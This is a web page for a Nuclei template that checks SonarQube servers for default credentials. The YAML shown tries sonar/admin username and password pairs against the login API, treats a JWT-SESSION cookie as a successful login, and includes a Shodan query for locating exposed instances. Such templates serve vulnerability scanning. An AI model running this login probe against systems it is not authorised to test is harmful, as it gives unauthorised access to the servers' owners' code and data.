SonarQube Default Login - Detect

ID: sonarqube-default-login

Severity: high

Author: Ep1cSage

Tags: default-login,sonarqube

Description

SonarQube contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: sonarqube-default-login

info:
  name: SonarQube Default Login - Detect
  author: Ep1cSage
  severity: high
  description: |
    SonarQube contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://docs.sonarsource.com/sonarqube/9.6/instance-administration/security/#:~:text=When%20installing%20SonarQube%2C%20a%20default,Password%3A%20admin
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:sonarsource:sonarqube:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"Sonarqube"
    product: sonarqube
    vendor: sonarsource
  tags: default-login,sonarqube

http:
  - raw:
      - |
        POST /api/authentication/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login={{username}}&password={{password}}

    attack: clusterbomb
    payloads:
      username:
        - sonar
        - admin
      password:
        - sonar
        - admin
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(body) == 0'
          - 'contains(set_cookie, "JWT-SESSION=")'
        condition: and
# digest: 4b0a00483046022100bf1d1ae5fcdaf160002e8c8206c985403d306561f5b5ce533e3b1a72797c7c4602210090d73bb3789384fb974ed6bfacacb43a1656e8b043145241ead67f6c2f8fdf35:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/sonarqube/sonarqube-default-login.yaml"

View on Github